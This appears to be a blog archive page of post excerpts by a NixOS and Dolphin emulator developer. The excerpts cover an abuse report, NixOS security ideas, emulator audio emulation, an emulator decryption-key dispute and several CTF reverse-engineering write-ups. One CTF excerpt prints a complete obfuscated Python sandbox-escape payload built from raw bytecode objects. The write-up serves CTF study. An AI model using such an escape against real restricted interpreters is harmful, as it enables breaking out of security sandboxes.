I’m delroth, or Pierre Bourdon. Originally from France, currently living in
Zürich, Switzerland. I’m an open source developer, mainly contributing to
NixOS these days. In the past, I was a core developer for
the Dolphin Emulator, and I was the main
infrastructure maintainer as well as treasurer for the project.
In my working life, I’ve worked for around 10 years as a Software Engineer at
Google. I’ve spent around 3 years each specializing in site reliability,
counter-abuse technologies, then infrastructure security. Along the way, I also
became privacy reviewer for new infrastructure projects, as well as
teacher/mentor for new C++ developers at the company.
I’m currently on a sabbatical leave, spending my free time learning more about
the country I’ve lived in for 10 years, and finally learning the local
language.
It all begins with one scary email late at night just before I had to go to
sleep:
From: abuse@hetzner.com
Date: 2024-10-29 01:03:00 CET
Subject: AbuseInfo: Potential Security issue: AS24940: 195.201.9.37
We have received an abuse report from abuse@watchdogcyberdefense.com for your
IP address 195.201.9.37.
We are automatically forwarding this report on to you, for your information.
You do not need to respond, but we do expect you to check it and to resolve any
potential issues.
> To assist you in understanding the situation, we have provided the relevant
> log data below, with timestamps adjusted to our GMT +8 timezone:
>
> DateTime Action AttackClass SourceIP Srcport Protocol DestinationIP DestPort
> 0 28-Oct-2024 19:39:11 DENIED 195.201.9.37 36163 TCP 202.91.162.233 22
> <snip>
> 20 28-Oct-2024 20:36:33 DENIED 195.201.9.37 22044 TCP 202.91.161.97 22
> 21 28-Oct-2024 20:41:37 DENIED 195.201.9.37 9305 TCP 202.91.163.36 22
> 22 28-Oct-2024 20:50:33 DENIED 195.201.9.37 39588 TCP 202.91.163.199 22
> 23 28-Oct-2024 20:50:58 DENIED 195.201.9.37 62973 TCP 202.91.161.41 22
> 24 28-Oct-2024 20:51:50 DENIED 195.201.9.37 3085 TCP 202.91.161.97 22
At the last NixCon in Darmstadt and later in
private followup conversations I had the opportunity to talk with a lot of
amazing fellow NixOS contributors about NixOS security, and how we could
improve it in the future.
This article is my personal wishlist of what I think should be worked on in the
near-term to mid-term future. It’s not really a roadmap, because I don’t think
it has any consensus or authority to be called one, but hopefully it can be
used as a reference if anyone is looking for ideas or areas where they could
help! It’s a mix of small, medium, and large sized projects. It’s also roughly
ordered in terms of how I’d prioritize the work based on how much effort I
imagine there is to be done and how much benefit we’d get in return.
That’s right, you know how on all these other emulators like citra, ryu,
yuzu, cemu etc they all say “dump your keys by following this guide” ever
wonder why you didn’t need that with dolphin?
BECAUSE DOLPHIN ILLEGALLY DISTRIBUTES NINTENDO’S WII DECRYPTION KEY
I never really spent the time trying to reply to this. At the time I was more
busy trying to make people understand the difference between a DMCA notice and
what happened between Valve and Nintendo. But then this was also picked up by
my favorite emulation not-journalist
MVG who even doubled down on the
keys situation in his apology-update video.
So, I wondered: how do other emulators actually fare? I’ll let you decide on
your own:
Been a while since I last took the time to solve a CTF challenge. I did not
take part in the Boston Key Party CTF, but a friend of mine told me that I
might be interested in this crackme.
hypercube.dol is a GameCube binary that computes a value using terribly
unoptimized code. The goal of the challenge is to understand the code and
“optimize” the slow parts. Kind of like the “supercomputer” category from
PlaidCTF. I like crackmes and I like GameCube RE, so let’s get started!
Since the release of Dolphin 3.5 half a year ago, audio processing in Dolphin
has changed a lot. In Dolphin versions up to 3.5, a lot of games required
low-level emulation of the DSP code in order to not crash or get audio output.
This low-level emulation (called DSP LLE) is unfortunately a lot slower than
high-level emulation (DSP HLE): while low-level emulation emulates extremely
accurately the DSP code by translating the binary code into x86, high-level
emulation simply runs C++ code which approximates what the DSP code does. I’ve
spent several months rewriting most of the DSP HLE code,
fixing sound issues in several dozens of games (my current estimate is around
~150), and now DSP HLE can be used in most GameCube and Wii games that
previously required DSP LLE. HLE being a lot faster than LLE, everyone should
be happy, right?
Wrong. It turns out that one of the main source of bugs, crashes and
inaccuracies in DSP HLE was also one of its main features: the ability to run
sound emulation at full speed even if the emulated game is not able to reach
100% speed on a computer. This feature, called asynchronous audio processing,
is obviously being requested again by more and more people. This article is
here to explain why async audio will not come back and what async audio
actually breaks.
The Nuit du Hack CTF 2013 Quals round was taking place yesterday. As usual,
I’ll be posting a few writeups about fun exercises and/or solutions from this
CTF. If you want more, my teammate w4kfu should be
posting some writeups as well on his blog soon.
TL;DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00''d\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83''\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n''\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00''\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00''\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02''\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d''\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02''\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i''\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02''\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12''q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
MysteryBox was a remote server disassembling and running its input data for an
unknown RISC-like CPU. As far as I know the unknown CPU is not a “real” CPU but
a VM made solely for this challenge. Here is an example of how to interact with
the remote MysteryBox service:
rtfm-67cc5dcb69df4244bcf2d573481e6d6a06b861a3: ELF 32-bit LSB executable
rtfm-e24f03bb1204f8e3d40fae8ac135187a11b0ba5c: data
rtfm is a binary processing ASCII input files and outputting seemingly
compressed versions of these files: testing on a few long text files shows that
the size of the output file is smaller than the input file. The second file
from this challenge is a file compressed by rtfm, our objective is to write
the decompression code for the rtfm compression.
The interesting part of the binary is the function at 0x08048910, which
compresses the contents of an input buffer and writes it to a calloc-ed
output buffer. For each character of the input stream, the function will read
data from a 128 entries table at 0x08048CA0. Each of these entry contains a
16-bit word as well as an 8-bit integer.
hackthegibson: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.15,
BuildID[sha1]=0xb8515e4280130d84d4b4e1fd492da1b099ec0eb6, stripped
hackthegibson is a 64-bit ELF for Linux using OpenSSL (libcrypto) and FFTW
to analyze the spectrum of samples coming from /dev/dsp.
The program does not take a key as an input, only sound data. That means it
will most likely generate and display a key based on the sound. Indeed, at the
address 0x401963 we can see that the program uses MD5_Final to generate a
MD5 digest and displays it in hex using a printf("%02x") loop. Let’s look at
all the references to MD5_Update to understand how this MD5 digest is
computed:
Just before the program main loop, the first call to MD5_Update hashes 1
constant byte 0x14
At each iteration of the program main loop, if the function analyzing the
sound data returns the expected value (checked using a table mapping
iteration number to expected value) MD5_Update is called using that
expected value.
Just before the call to MD5_Final the constant byte 0x14 is hashed once
again.
For the last two weeks, I’ve been working on enhancements and bug fixes related
to audio processing in the Dolphin Emulator (the
only Gamecube/Wii emulator that allows playing commercial games at the moment).
Through this project I have learned a lot about how audio processing works in a
Gamecube. Very little documentation is available on that subject, so I think
writing an article explaining how it works might teach some new things to
people interested in Gamecube/Wii homebrew development or emulators
development. This article was first published in 3 parts on the Dolphin
official
forums.
Before publishing it on the blog, I made some small changes (mostly
proof-reading and adding some complementary images) but most explanations are
the same.